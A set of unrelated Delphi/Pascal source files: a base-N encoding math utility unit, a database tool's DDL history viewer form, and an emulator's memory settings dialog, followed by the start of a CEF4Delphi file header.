Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
}
interface
uses
System.Math, System.SysUtils;
var
InvAlphabet: array of Integer;
bitsPerChar, BlockBitsCount, BlockCharsCount: Integer;
function IsPowerOf2(x: LongWord): Boolean;
function LCM(a, b: Integer): Integer;
function NextPowOf2(x: LongWord): LongWord;
function IntPow(x: UInt64; exp: Integer): UInt64;
function LogBase2(x: LongWord): Integer; overload;
function LogBase2(x: UInt64): Integer; overload;
function LogBaseN(x, n: LongWord): Integer; overload;
function LogBaseN(x: UInt64; n: LongWord): Integer; overload;
function GetOptimalBitsCount(charsCount: LongWord;
out charsCountInBits: LongWord; maxBitsCount: LongWord;
radix: LongWord): Integer;
function GetOptimalBitsCount2(charsCount: LongWord;
out charsCountInBits: LongWord; maxBitsCount: LongWord;
base2BitsCount: Boolean): Integer;
procedure Base(charsCount: LongWord; alphabet: array of string; special: char);
function CustomMatchStr(InChar: char; InArray: array of String): Boolean;
function RetreiveMax(InArray: array of String): Integer;
function StartsWith(InStringOne, InStringTwo: String): Boolean;
function EndsWith(InStringOne, InStringTwo: String): Boolean;
function IsNullOrEmpty(const InValue: string): Boolean;
function ArraytoString(InArray: array of String): String;
Const
EncodingArray: array [0 .. 6] of String = ('ANSI', 'ASCII',
'BigEndianUnicode', 'Default', 'Unicode', 'UTF7', 'UTF8');
BasetoUseArray: array [0 .. 9] of String = ('Base32', 'Base64', 'Base85',
'Base91', 'Base128', 'Base256', 'Base1024', 'Base4096', 'ZBase32', 'BaseN');
implementation
function ArraytoString(InArray: array of String): String;
var
i: Integer;
tempSList: TStringBuilder;
begin
tempSList := TStringBuilder.Create;
tempSList.Clear;
try
for i := Low(InArray) to High(InArray) do
begin
tempSList.Append(InArray[i])
end;
result := tempSList.ToString;
finally
tempSList.Free;
end;
end;
function IsNullOrEmpty(const InValue: string): Boolean;
const
Empty = '';
begin
result := InValue = Empty;
end;
function StartsWith(InStringOne, InStringTwo: String): Boolean;
var
tempStr: String;
begin
tempStr := Copy(InStringOne, 1, 2);
result := SameText(tempStr, InStringTwo);
end;
function EndsWith(InStringOne, InStringTwo: String): Boolean;
var
tempStr: string;
begin
tempStr := Copy(InStringOne, Length(InStringOne) - 1, 2);
result := SameText(tempStr, InStringTwo);
end;
function RetreiveMax(InArray: array of String): Integer;
var
i, MaxOrdinal, TempValue: Integer;
begin
MaxOrdinal := -1;
for i := Low(InArray) to High(InArray) do
begin
TempValue := Ord(InArray[i][1]);
MaxOrdinal := Max(MaxOrdinal, TempValue);
end;
if MaxOrdinal = -1 then
begin
raise Exception.Create('A Strange Error Occurred');
end
else
result := MaxOrdinal;
end;
function IsPowerOf2(x: LongWord): Boolean;
var
xint: LongWord;
begin
xint := LongWord(x);
if (x - xint <> 0) then
result := False
else
result := (xint and (xint - 1)) = 0;
end;
function LCM(a, b: Integer): Integer;
var
num1, num2, i: Integer;
begin
if (a > b) then
begin
num1 := a;
num2 := b;
end
else
begin
num1 := b;
num2 := a;
end;
for i := 1 to (num2) do
begin
if ((num1 * i) mod num2 = 0) then
begin
result := i * num1;
exit;
end;
end;
result := num2;
end;
function NextPowOf2(x: LongWord): LongWord;
begin
dec(x);
x := x or (x shr 1);
x := x or (x shr 2);
x := x or (x shr 4);
x := x or (x shr 8);
x := x or (x shr 16);
inc(x);
result := x;
end;
function IntPow(x: UInt64; exp: Integer): UInt64;
var
tempResult: UInt64;
i: Integer;
begin
tempResult := 1;
for i := 0 to Pred(exp) do
begin
tempResult := tempResult * x;
end;
result := tempResult;
end;
function LogBase2(x: LongWord): Integer; overload;
var
r: Integer;
begin
r := 0;
x := x shr 1;
while ((x) <> 0) do
begin
inc(r);
x := x shr 1;
end;
result := r;
end;
function LogBase2(x: UInt64): Integer; overload;
var
r: Integer;
begin
r := 0;
x := x shr 1;
while ((x) <> 0) do
begin
inc(r);
x := x shr 1;
end;
result := r;
end;
function LogBaseN(x, n: LongWord): Integer; overload;
var
r: Integer;
begin
r := 0;
x := x div n;
while ((x) <> 0) do
begin
inc(r);
x := x div n;
end;
result := r;
end;
function LogBaseN(x: UInt64; n: LongWord): Integer; overload;
var
r: Integer;
begin
r := 0;
x := x div n;
while ((x) <> 0) do
begin
inc(r);
x := x div n;
end;
result := r;
end;
function GetOptimalBitsCount(charsCount: LongWord;
out charsCountInBits: LongWord; maxBitsCount: LongWord;
radix: LongWord): Integer;
var
maxRatio, ratio: Double;
charsCountLog: Extended;
n, n1: Integer;
l1: LongWord;
begin
result := 0;
charsCountInBits := 0;
n1 := LogBaseN(charsCount, radix);
charsCountLog := LogN(charsCount, radix);
maxRatio := 0;
n := n1;
while (UInt32(n) <= maxBitsCount) do
begin
l1 := UInt32(Ceil(n * charsCountLog));
ratio := (n) / l1;
if (ratio > maxRatio) then
begin
maxRatio := ratio;
result := n;
charsCountInBits := l1;
end;
inc(n);
end;
end;
function GetOptimalBitsCount2(charsCount: LongWord;
out charsCountInBits: LongWord; maxBitsCount: LongWord;
base2BitsCount: Boolean): Integer;
var
n, n1: Integer;
charsCountLog, ratio, maxRatio: Double;
l1: LongWord;
begin
result := 0;
charsCountInBits := 0;
n1 := LogBase2(charsCount);
charsCountLog := LogN(charsCount, 2);
maxRatio := 0;
for n := n1 to maxBitsCount do
begin
if ((Ord(base2BitsCount) and (n mod 8)) <> 0) then
continue;
l1 := UInt32(Ceil(n * charsCountLog));
ratio := (n) / l1;
if (ratio > maxRatio) then
begin
maxRatio := ratio;
result := n;
charsCountInBits := l1;
end;
end;
end;
procedure Base(charsCount: LongWord; alphabet: array of string; special: char);
var
i, j, alphabetMax: Integer;
begin
if ((UInt32(Length(alphabet))) <> charsCount) then
raise Exception.Create('Base array should contain ' + InttoStr(charsCount) +
' chars');
for i := 0 to Pred(charsCount) do
begin
for j := Succ(i) to Pred(charsCount) do
begin
if (alphabet[i] = alphabet[j]) then
raise Exception.Create
('Base array should contain should contain distinct chars');
end;
end;
if CustomMatchStr(special, alphabet) then
raise Exception.Create('Base array should not contain special char');
if (charsCount = 85) then
begin
BlockBitsCount := 32;
BlockCharsCount := 5;
end;
if (charsCount = 91) then
begin
BlockBitsCount := 13;
BlockCharsCount := 2;
end;
if (charsCount <> 85) and (charsCount <> 91) then
begin
bitsPerChar := LogBase2(charsCount);
BlockBitsCount := LCM(bitsPerChar, 8);
BlockCharsCount := BlockBitsCount div bitsPerChar;
end;
alphabetMax := RetreiveMax(alphabet);
SetLength(InvAlphabet, alphabetMax + 1);
for i := 0 to Pred(Length(InvAlphabet)) do
begin
InvAlphabet[i] := -1;
end;
for i := 0 to Pred(charsCount) do
begin
InvAlphabet[Ord(alphabet[i][1])] := i;
end;
end;
function CustomMatchStr(InChar: char; InArray: array of String): Boolean;
var
i: Integer;
begin
result := False;
for i := Low(InArray) to High(InArray) do
begin
if InArray[i] = InChar then
begin
exit(True);
end;
end;
end;
end.
|
unit ibSHDDLHistoryFrm;
interface
uses
SHDesignIntf, SHEvents, ibSHDesignIntf, ibSHComponentFrm, ibSHConsts,
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ComCtrls, ToolWin, ExtCtrls, SynEdit, pSHSynEdit, SynEditTypes,
VirtualTrees, Contnrs, ImgList, AppEvnts, ActnList, StrUtils, Menus,
pSHSqlTxtRtns, pSHStrUtil,
ibSHValues;
type
TibSHDDLHistoryForm = class(TibBTComponentForm, IibSHDDLHistoryForm)
Panel1: TPanel;
Splitter1: TSplitter;
Panel2: TPanel;
Panel3: TPanel;
pSHSynEdit1: TpSHSynEdit;
Tree: TVirtualStringTree;
SaveDialog1: TSaveDialog;
ImageList1: TImageList;
procedure pSHSynEdit1DblClick(Sender: TObject);
private
{ Private declarations }
FTopLine: Integer;
FSQLParser: TSQLParser;
FTreePopupMenu: TPopupMenu;
FFirstWord: string;
FStatementsLoaded: Integer;
{ Tree }
procedure TreeGetNodeDataSize(Sender: TBaseVirtualTree;
var NodeDataSize: Integer);
procedure TreeFreeNode(Sender: TBaseVirtualTree;
Node: PVirtualNode);
procedure TreeGetImageIndex(Sender: TBaseVirtualTree;
Node: PVirtualNode; Kind: TVTImageKind; Column: TColumnIndex;
var Ghosted: Boolean; var ImageIndex: Integer);
procedure TreeGetText(Sender: TBaseVirtualTree;
Node: PVirtualNode; Column: TColumnIndex; TextType: TVSTTextType;
var CellText: WideString);
procedure TreeKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure TreeDblClick(Sender: TObject);
function CalcImageIndex(ASQLKind: TSQLKind): Integer;
procedure SelectTopLineBlock(ATopLine: Integer);
procedure DoOnEnter;
function GetDDLHistory: IibSHDDLHistory;
protected
function GetCurrentFile: string; override;
procedure FillPopupMenu; override;
procedure DoOnPopup(Sender: TObject); override;
//Popup menu methods
procedure mnSendToSQLPlayerClick(Sender: TObject);
procedure DoFindOperation(Position:integer;var StopScan:boolean);
procedure FillTree(AStatementNo: Integer);
{ IibSHDDLHistoryForm }
function GetRegionVisible: Boolean;
procedure FillEditor;
procedure ChangeNotification;
function GetCanSendToSQLPlayer: Boolean;
procedure SendToSQLPlayer;
function GetCanSendToSQLEditor: Boolean;
procedure SendToSQLEditor;
{ ISHFileCommands }
function GetCanSave: Boolean; override;
procedure SaveAs; override;
{ ISHEditCommands }
function GetCanClearAll: Boolean; override;
procedure ClearAll; override;
{ ISHRunCommands }
function GetCanRun: Boolean; override;
function GetCanPause: Boolean; override;
function GetCanRefresh: Boolean; override;
procedure Run; override;
procedure Pause; override;
procedure Refresh; override;
procedure ShowHideRegion(AVisible: Boolean); override;
procedure SinhronizeTreeByEditor;
function DoOnOptionsChanged: Boolean; override;
procedure DoOnSpecialLineColors(Sender: TObject;
Line: Integer; var Special: Boolean; var FG, BG: TColor); override;
function GetCanDestroy: Boolean; override;
public
{ Public declarations }
constructor Create(AOwner: TComponent; AParent: TWinControl;
AComponent: TSHComponent; ACallString: string); override;
destructor Destroy; override;
property DDLHistory: IibSHDDLHistory read GetDDLHistory;
property TopLine: Integer read FTopLine write FTopLine;
end;
var
ibSHDDLHistoryForm: TibSHDDLHistoryForm;
implementation
uses
ibSHMessages;
{$R *.dfm}
const
img_select = 6;
img_update = 7;
img_insert = 4;
img_delete = 8;
img_execute = 5;
img_other = 3;
img_grant = 6;
img_alter = 7;
img_create = 4;
img_drop = 8;
type
PTreeRec = ^TTreeRec;
TTreeRec = record
FirstWord: string;
ExecutedAt: string;
SQLKind: TSQLKind;
TopLine: Integer;
StatementNo: Integer;
ImageIndex: Integer;
end;
{ TibBTSQLMonitorForm }
constructor TibSHDDLHistoryForm.Create(AOwner: TComponent; AParent: TWinControl;
AComponent: TSHComponent; ACallString: string);
begin
FTreePopupMenu := TPopupMenu.Create(Self);
inherited Create(AOwner, AParent, AComponent, ACallString);
Editor := pSHSynEdit1;
Editor.Lines.Clear;
FocusedControl := Editor;
RegisterEditors;
// with TGutterMarkDrawPlugin.Create(pSHSynEdit1) do ImageList := ImageList1;
ShowHideRegion(False);
DoOnOptionsChanged;
Tree.OnGetNodeDataSize := TreeGetNodeDataSize;
Tree.OnFreeNode := TreeFreeNode;
Tree.OnGetImageIndex := TreeGetImageIndex;
Tree.OnGetText := TreeGetText;
Tree.OnDblClick := TreeDblClick;
Tree.OnKeyDown := TreeKeyDown;
Tree.PopupMenu := FTreePopupMenu;
FSQLParser := TSQLParser.Create;
FillEditor;
end;
destructor TibSHDDLHistoryForm.Destroy;
begin
FTreePopupMenu.Free;
FSQLParser.Free;
inherited Destroy;
end;
function TibSHDDLHistoryForm.CalcImageIndex(ASQLKind: TSQLKind): Integer;
begin
case ASQLKind of
skUnknown, skDDL: Result := img_other;
skSelect: Result := img_select;
skUpdate: Result := img_update;
skInsert: Result := img_insert;
skDelete: Result := img_delete;
skExecuteProc: Result := img_execute;
skExecuteBlock: Result := img_execute;//!!!
else
Result := img_other;
end;
end;
procedure TibSHDDLHistoryForm.SelectTopLineBlock(ATopLine: Integer);
var
BlockBegin, BlockEnd: TBufferCoord;
begin
Editor.BeginUpdate;
Editor.TopLine := ATopLine + 1;
BlockBegin.Char := 1;
BlockBegin.Line := ATopLine + 1;
BlockEnd.Char := 0;
BlockEnd.Line := ATopLine + 2;
Editor.CaretXY := BlockBegin;
Editor.BlockBegin := BlockBegin;
Editor.BlockEnd := BlockEnd;
Editor.LeftChar := 1;
Editor.EndUpdate;
end;
procedure TibSHDDLHistoryForm.DoOnEnter;
var
Data: PTreeRec;
begin
if Assigned(Tree.FocusedNode) then
begin
Data := Tree.GetNodeData(Tree.FocusedNode);
SelectTopLineBlock(Data.TopLine);
end;
end;
function TibSHDDLHistoryForm.GetDDLHistory: IibSHDDLHistory;
begin
Supports(Component, IibSHDDLHistory, Result);
end;
function TibSHDDLHistoryForm.GetCurrentFile: string;
begin
if Assigned(DDLHistory) then
Result := DDLHistory.GetHistoryFileName
else
Result := EmptyStr;
end;
procedure TibSHDDLHistoryForm.FillPopupMenu;
begin
if Assigned(EditorPopupMenu) then
begin
AddMenuItem(EditorPopupMenu.Items, SSendToSQLPlayer,
mnSendToSQLPlayerClick, ShortCut(VK_RETURN, [ssShift]));
AddMenuItem(FEditorPopupMenu.Items, '-', nil, 0, -2);
end;
if Assigned(FTreePopupMenu) then
begin
AddMenuItem(FTreePopupMenu.Items, SSendToSQLPlayer,
mnSendToSQLPlayerClick, ShortCut(VK_RETURN, [ssShift]));
end;
inherited FillPopupMenu;
end;
procedure TibSHDDLHistoryForm.DoOnPopup(Sender: TObject);
var
vCurrentMenuItem: TMenuItem;
vIsSQLScriptInstalled: Boolean;
begin
inherited DoOnPopup(Sender);
vIsSQLScriptInstalled := Assigned(Designer.GetComponent(IibSHSQLPlayer)) ;
vCurrentMenuItem := MenuItemByName(FTreePopupMenu.Items, SSendToSQLPlayer);
if Assigned(vCurrentMenuItem) then
begin
vCurrentMenuItem.Visible := vIsSQLScriptInstalled and (not Editor.IsEmpty);
vCurrentMenuItem.Enabled := vIsSQLScriptInstalled and (not Editor.IsEmpty);
end;
vCurrentMenuItem := MenuItemByName(FTreePopupMenu.Items, '-', -2);
if Assigned(vCurrentMenuItem) then
vCurrentMenuItem.Visible := vIsSQLScriptInstalled and (not Editor.IsEmpty);
end;
procedure TibSHDDLHistoryForm.mnSendToSQLPlayerClick(Sender: TObject);
begin
SendToSQLPlayer;
end;
procedure TibSHDDLHistoryForm.DoFindOperation(Position: integer;
var StopScan: boolean);
begin
StopScan := False;
if ( not (FSQLParser.SQLText[Position] in CharsAfterClause)) then
FFirstWord := FFirstWord + FSQLParser.SQLText[Position]
else
begin
if (Length(FFirstWord) > 1) and
(not SameText(FFirstWord, 'SET')) and
(not SameText(FFirstWord, 'TERM')) then
begin
if SameText(FFirstWord, 'GENERATOR') then
FFirstWord := 'SET';
StopScan := True
end
else
FFirstWord := EmptyStr;
end;
end;
procedure TibSHDDLHistoryForm.FillTree(AStatementNo: Integer);
var
StatementNode: PVirtualNode;
NodeData: PTreeRec;
vItem: string;
vPos: Integer;
function GetFirstWord: string;
begin
FFirstWord := EmptyStr;
FSQLParser.ScanText(FSQLParser.FirstPos, DoFindOperation);
Result := AnsiUpperCase(FFirstWord);
if Length(Result) = 0 then
Result := 'SQL';
end;
begin
Tree.BeginUpdate;
StatementNode := Tree.AddChild(nil);
NodeData := Tree.GetNodeData(StatementNode);
vItem := DDLHistory.Item(AStatementNo);
vPos := Pos('*/', vItem);
if vPos > 0 then
begin
NodeData.ExecutedAt := Trim(System.Copy(vItem, Length(sHistorySQLHeader) + 1, vPos - Length(sHistorySQLHeader) - 1));
end
else
NodeData.ExecutedAt := DateTimeToStr(Now);
FSQLParser.SQLText := DDLHistory.Statement(AStatementNo);
NodeData.SQLKind := FSQLParser.SQLKind;
NodeData.ImageIndex := CalcImageIndex(NodeData.SQLKind);
NodeData.TopLine := Editor.Lines.Count;
NodeData.StatementNo := AStatementNo;
NodeData.FirstWord := GetFirstWord;
if AnsiCompareStr(NodeData.FirstWord, 'CREATE') = 0 then
NodeData.ImageIndex := img_create else
if AnsiCompareStr(NodeData.FirstWord, 'ALTER') = 0 then
NodeData.ImageIndex := img_alter else
if AnsiCompareStr(NodeData.FirstWord, 'DROP') = 0 then
NodeData.ImageIndex := img_drop else
if AnsiCompareStr(NodeData.FirstWord, 'GRANT') = 0 then
NodeData.ImageIndex := img_grant;
Tree.EndUpdate;
end;
function TibSHDDLHistoryForm.GetRegionVisible: Boolean;
begin
Result := Panel1.Visible;
end;
procedure TibSHDDLHistoryForm.FillEditor;
var
I: Integer;
begin
if Assigned(DDLHistory) then
begin
Tree.Clear;
Editor.Clear;
for I := 0 to Pred(DDLHistory.Count) do
begin
FillTree(I);
Designer.TextToStrings(DDLHistory.Item(I), Editor.Lines);
end;
FStatementsLoaded := DDLHistory.Count;
Editor.CaretY := Editor.Lines.Count;
SinhronizeTreeByEditor;
DoOnEnter;
end;
end;
procedure TibSHDDLHistoryForm.ChangeNotification;
var
I: Integer;
begin
if Assigned(DDLHistory) and Assigned(Editor) then
begin
if Editor.Modified then
begin
for I := FStatementsLoaded to Pred(DDLHistory.Count) do
Designer.TextToStrings(DDLHistory.Item(I), Editor.Lines);
Save;
Refresh;
end
else
begin
for I := FStatementsLoaded to Pred(DDLHistory.Count) do
begin
FillTree(I);
Designer.TextToStrings(DDLHistory.Item(I), Editor.Lines);
end;
FStatementsLoaded := DDLHistory.Count;
Save;
Editor.CaretY := Editor.Lines.Count;
SinhronizeTreeByEditor;
DoOnEnter;
end;
end;
end;
function TibSHDDLHistoryForm.GetCanSendToSQLPlayer: Boolean;
begin
Result := Assigned(Designer.GetComponent(IibSHSQLPlayer)) and
Assigned(DDLHistory) and (DDLHistory.Count > 0) and
DDLHistory.BTCLDatabase.Connected;
end;
procedure TibSHDDLHistoryForm.SendToSQLPlayer;
var
vComponent: TSHComponent;
vSQLPlayerForm: IibSHSQLPlayerForm;
begin
if GetCanSendToSQLPlayer then
begin
vComponent := Designer.CreateComponent(Component.OwnerIID, IibSHSQLPlayer, '');
if Assigned(vComponent) then
if vComponent.GetComponentFormIntf(IibSHSQLPlayerForm, vSQLPlayerForm) then
begin
vSQLPlayerForm.InsertScript(Editor.Lines.Text);
Designer.JumpTo(Component.InstanceIID, IibSHSQLPlayer, vComponent.Caption);
Designer.ChangeNotification(vComponent, SCallSQLStatements, opInsert);
end;
end;
end;
function TibSHDDLHistoryForm.GetCanSendToSQLEditor: Boolean;
begin
Result := Assigned(Designer.GetComponent(IibSHSQLEditor)) and
Assigned(DDLHistory) and (DDLHistory.Count > 0) and
DDLHistory.BTCLDatabase.Connected;
end;
procedure TibSHDDLHistoryForm.SendToSQLEditor;
var
vDDLInfo: IibSHDDLInfo;
vComponent: TSHComponent;
vDDLForm: IibSHDDLForm;
NodeData: PTreeRec;
begin
SinhronizeTreeByEditor;
if Assigned(Tree.FocusedNode) then
begin
NodeData := Tree.GetNodeData(Tree.FocusedNode);
if Assigned(DDLHistory) and (NodeData.StatementNo >= 0) and
(NodeData.StatementNo < DDLHistory.Count) then
begin
vComponent := Designer.FindComponent(Component.OwnerIID, IibSHSQLEditor);
if not Assigned(vComponent) then
vComponent := Designer.CreateComponent(Component.OwnerIID, IibSHSQLEditor, '');
if Assigned(vComponent) and Supports(vComponent, IibSHDDLInfo, vDDLInfo) then
begin
vDDLInfo.DDL.Text := Trim(DDLHistory.Statement(NodeData.StatementNo));
Designer.JumpTo(Component.InstanceIID, IibSHSQLEditor, vComponent.Caption);
Designer.ChangeNotification(vComponent, SCallDDLText, opInsert);
if vComponent.GetComponentFormIntf(IibSHDDLForm, vDDLForm) then
vDDLForm.ShowDDLText;
end;
end;
end;
end;
function TibSHDDLHistoryForm.GetCanSave: Boolean;
begin
Result := Assigned(DDLHistory);
end;
procedure TibSHDDLHistoryForm.SaveAs;
begin
if GetCanSaveAs then
begin
FSaveDialog.FileName := DoOnGetInitialDir + DDLHistory.BTCLDatabase.Alias + ' ' + Component.Caption;
if FSaveDialog.Execute then
begin
Screen.Cursor := crHourGlass;
try
DoSaveToFile(FSaveDialog.FileName);
finally
Screen.Cursor := crDefault;
end;
end;
ShowFileName;
end;
end;
function TibSHDDLHistoryForm.GetCanClearAll: Boolean;
begin
Result := Assigned(DDLHistory) and (DDLHistory.Count > 0);
end;
procedure TibSHDDLHistoryForm.ClearAll;
begin
if GetCanClearAll and
Designer.ShowMsg(Format(SClearDDLHistoryWorning,
[DDLHistory.BTCLDatabase.Alias]), mtConfirmation) then
begin
inherited ClearAll;
DDLHistory.Clear;
end;
end;
function TibSHDDLHistoryForm.GetCanRun: Boolean;
begin
Result := Assigned(DDLHistory) and not DDLHistory.Active;
end;
function TibSHDDLHistoryForm.GetCanPause: Boolean;
begin
Result := Assigned(DDLHistory) and DDLHistory.Active;
end;
function TibSHDDLHistoryForm.GetCanRefresh: Boolean;
begin
Result := Assigned(DDLHistory) and Assigned(Editor);// and Editor.Modified;
end;
procedure TibSHDDLHistoryForm.Run;
begin
if Assigned(DDLHistory) then
begin
DDLHistory.Active := True;
Designer.UpdateObjectInspector;
end;
end;
procedure TibSHDDLHistoryForm.Pause;
begin
if Assigned(DDLHistory) then
begin
DDLHistory.Active := False;
Designer.UpdateObjectInspector;
end;
end;
procedure TibSHDDLHistoryForm.Refresh;
begin
if GetCanRefresh then
begin
// Save;
DDLHistory.LoadFromFile;
FillEditor;
end;
end;
procedure TibSHDDLHistoryForm.ShowHideRegion(AVisible: Boolean);
begin
Panel1.Visible := AVisible;
Splitter1.Visible := AVisible;
if AVisible then Splitter1.Left := Panel1.Left + Panel1.Width + 1;
end;
procedure TibSHDDLHistoryForm.SinhronizeTreeByEditor;
var
Node: PVirtualNode;
NodeData: PTreeRec;
begin
Node := Tree.GetLast;
if Assigned(Node) then
begin
NodeData := Tree.GetNodeData(Node);
while Assigned(Node) and (NodeData.TopLine > (Editor.CaretY - 1)) do
begin
Node := Tree.GetPrevious(Node);
NodeData := Tree.GetNodeData(Node);
end;
if Assigned(Node) then
Tree.FocusedNode := Node
else
Tree.FocusedNode := Tree.GetLast;
Tree.Selected[Tree.FocusedNode] := True;
end;
end;
function TibSHDDLHistoryForm.DoOnOptionsChanged: Boolean;
begin
Result := inherited DoOnOptionsChanged;
if Result then
begin
Editor.Options := Editor.Options + [eoScrollPastEof];
end;
end;
procedure TibSHDDLHistoryForm.DoOnSpecialLineColors(Sender: TObject;
Line: Integer; var Special: Boolean; var FG, BG: TColor);
begin
Special := False;
if (Pos('->', pSHSynEdit1.Lines[Line - 1]) > 0) then
begin
Special := True;
FG := RGB(130, 220, 160);
end else
if (Pos('<-', pSHSynEdit1.Lines[Line - 1]) > 0) then
begin
Special := True;
FG := RGB(140,170, 210);
end else
if (Pos('>>', pSHSynEdit1.Lines[Line - 1]) > 0) then
begin
Special := True;
BG := RGB(235, 235, 235);
FG := RGB(140, 170, 210);
end;
end;
procedure TibSHDDLHistoryForm.pSHSynEdit1DblClick(Sender: TObject);
begin
SinhronizeTreeByEditor;
end;
{ Tree }
procedure TibSHDDLHistoryForm.TreeGetNodeDataSize(Sender: TBaseVirtualTree;
var NodeDataSize: Integer);
begin
NodeDataSize := SizeOf(TTreeRec);
end;
procedure TibSHDDLHistoryForm.TreeFreeNode(Sender: TBaseVirtualTree;
Node: PVirtualNode);
var
Data: PTreeRec;
begin
Data := Sender.GetNodeData(Node);
if Assigned(Data) then Finalize(Data^);
end;
procedure TibSHDDLHistoryForm.TreeGetImageIndex(Sender: TBaseVirtualTree;
Node: PVirtualNode; Kind: TVTImageKind; Column: TColumnIndex;
var Ghosted: Boolean; var ImageIndex: Integer);
var
Data: PTreeRec;
begin
if (Kind = ikNormal) or (Kind = ikSelected) then
begin
ImageIndex := -1;
if Assigned(Node) then
begin
Data := Sender.GetNodeData(Node);
if (Tree.Header.Columns[Column].Tag = 0) and Assigned(Data) then
ImageIndex := Data.ImageIndex;
end;
end;
end;
procedure TibSHDDLHistoryForm.TreeGetText(Sender: TBaseVirtualTree;
Node: PVirtualNode; Column: TColumnIndex; TextType: TVSTTextType;
var CellText: WideString);
var
Data: PTreeRec;
begin
Data := Sender.GetNodeData(Node);
case TextType of
ttNormal:
begin
case Tree.Header.Columns[Column].Tag of
0: CellText := Data.FirstWord;
1: CellText := Data.ExecutedAt;
end;
end;
end;
end;
procedure TibSHDDLHistoryForm.TreeKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if Key = VK_RETURN then DoOnEnter;
end;
procedure TibSHDDLHistoryForm.TreeDblClick(Sender: TObject);
begin
DoOnEnter;
end;
function TibSHDDLHistoryForm.GetCanDestroy: Boolean;
begin
Save;
Result := inherited GetCanDestroy;
end;
end.
|
unit Memory_Settings;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, Forms, Controls, Graphics, Dialogs, ExtCtrls, StdCtrls, EditBtn, Types;
type
{ TMemorySettings }
TMemorySettings = class(TForm)
buttonReloadImage: TButton;
checkboxReloadOnEnable: TCheckBox;
comboboxRamSize: TComboBox;
comboboxRomSize: TComboBox;
editBootRomImageFile: TFileNameEdit;
groupBootRomFile: TGroupBox;
groupBootRomSize: TGroupBox;
groupboxMemorySettings: TGroupBox;
groupSystemRamSize: TGroupBox;
panelBootRomFile: TPanel;
panelMemorySettings: TPanel;
procedure buttonReloadImageClick(Sender: TObject);
procedure comboboxDrawItem(Control: TWinControl; Index: integer; ARect: TRect; State: TOwnerDrawState);
procedure editBootRomImageFileChange(Sender: TObject);
procedure FormClose(Sender: TObject; var CloseAction: TCloseAction);
procedure FormShow(Sender: TObject);
private
oldRomSize: integer;
oldRamSize: integer;
oldImageFile: string;
oldReloadOnEnable: boolean;
instantlyReload: boolean;
public
end;
implementation
{$R *.lfm}
uses UscaleDPI, System_Settings, System_Memory, Memory_Editor;
{ TMemorySettings }
// --------------------------------------------------------------------------------
procedure TMemorySettings.FormClose(Sender: TObject; var CloseAction: TCloseAction);
begin
SystemSettings.saveFormState(TForm(self));
if (oldRomSize <> comboboxRomSize.ItemIndex) then begin
SystemSettings.WriteInteger('Memory', 'RomSize', comboboxRomSize.ItemIndex);
SystemMemory.setBootRomSize(comboboxRomSize.ItemIndex);
if Assigned(MemoryEditor) then begin
MemoryEditor.memoryChanged;
end;
end;
if (oldImageFile <> editBootRomImageFile.FileName) then begin
SystemSettings.WriteString('Memory', 'RomImageFile', editBootRomImageFile.FileName);
SystemMemory.SetRomImageFile(editBootRomImageFile.FileName);
if Assigned(MemoryEditor) then begin
MemoryEditor.showMemoryData;
end;
end;
if (oldRamSize <> comboboxRamSize.ItemIndex) then begin
SystemSettings.WriteInteger('Memory', 'RamSize', comboboxRamSize.ItemIndex);
SystemMemory.setSystemRamSize(comboboxRamSize.ItemIndex);
if Assigned(MemoryEditor) then begin
MemoryEditor.memoryChanged;
end;
end;
if (oldReloadOnEnable <> checkboxReloadOnEnable.Checked) then begin
SystemSettings.WriteBoolean('Memory', 'ReloadOnEnable', checkboxReloadOnEnable.Checked);
SystemMemory.setReloadImageOnEnable(checkboxReloadOnEnable.Checked);
end;
if (instantlyReload) then begin
SystemMemory.LoadRomFile;
if Assigned(MemoryEditor) then begin
MemoryEditor.showMemoryData;
end;
end;
CloseAction := caFree;
end;
// --------------------------------------------------------------------------------
procedure TMemorySettings.buttonReloadImageClick(Sender: TObject);
begin
instantlyReload := True;
end;
// --------------------------------------------------------------------------------
procedure TMemorySettings.comboboxDrawItem(Control: TWinControl; Index: integer; ARect: TRect; State: TOwnerDrawState);
var
offset, posX, posY: integer;
begin
with (Control as Tcombobox) do begin
if (Control as Tcombobox = comboboxRamSize) then begin
offset := 48;
end
else begin
offset := 32;
end;
posX := ARect.Right - Canvas.TextWidth(Items[Index]) - offset;
posY := ARect.Top + ((ARect.Height - Canvas.TextHeight(Items[Index])) div 2);
Canvas.TextRect(ARect, posX, posY, Items[Index]);
end;
end;
// --------------------------------------------------------------------------------
procedure TMemorySettings.editBootRomImageFileChange(Sender: TObject);
begin
editBootRomImageFile.SelStart := editBootRomImageFile.FileName.Length;
editBootRomImageFile.Hint := editBootRomImageFile.FileName;
end;
// --------------------------------------------------------------------------------
procedure TMemorySettings.FormShow(Sender: TObject);
begin
SystemSettings.restoreFormState(TForm(self));
ScaleDPI(self, 96);
self.SetAutoSize(True);
Constraints.MinWidth := Width;
Constraints.MaxWidth := Width;
Constraints.MinHeight := Height;
Constraints.MaxHeight := Height;
editBootRomImageFile.InitialDir := GetUserDir;
oldRomSize := SystemSettings.ReadInteger('Memory', 'RomSize', 0);
comboboxRomSize.ItemIndex := oldRomSize;
oldImageFile := SystemSettings.ReadString('Memory', 'RomImageFile', '');
editBootRomImageFile.FileName := oldImageFile;
oldRamSize := SystemSettings.ReadInteger('Memory', 'RamSize', 0);
comboboxRamSize.ItemIndex := oldRamSize;
oldReloadOnEnable := SystemSettings.ReadBoolean('Memory', 'ReloadOnEnable', False);
checkboxReloadOnEnable.Checked := oldReloadOnEnable;
instantlyReload := False;
groupboxMemorySettings.SetFocus;
end;
// --------------------------------------------------------------------------------
end.
|
// ************************************************************************
// ***************************** CEF4Delphi *******************************
// ************************************************************************
//
// CEF4Delphi is based on DCEF3 which uses CEF3 to embed a chromium-based
// browser in Delphi applications.
//
// The original license of DCEF3 still applies to CEF4Delphi.
//
// For more information about CEF4Delphi visit :
// https://www.briskbard.com/index.php?lang=en&pageid=cef
//
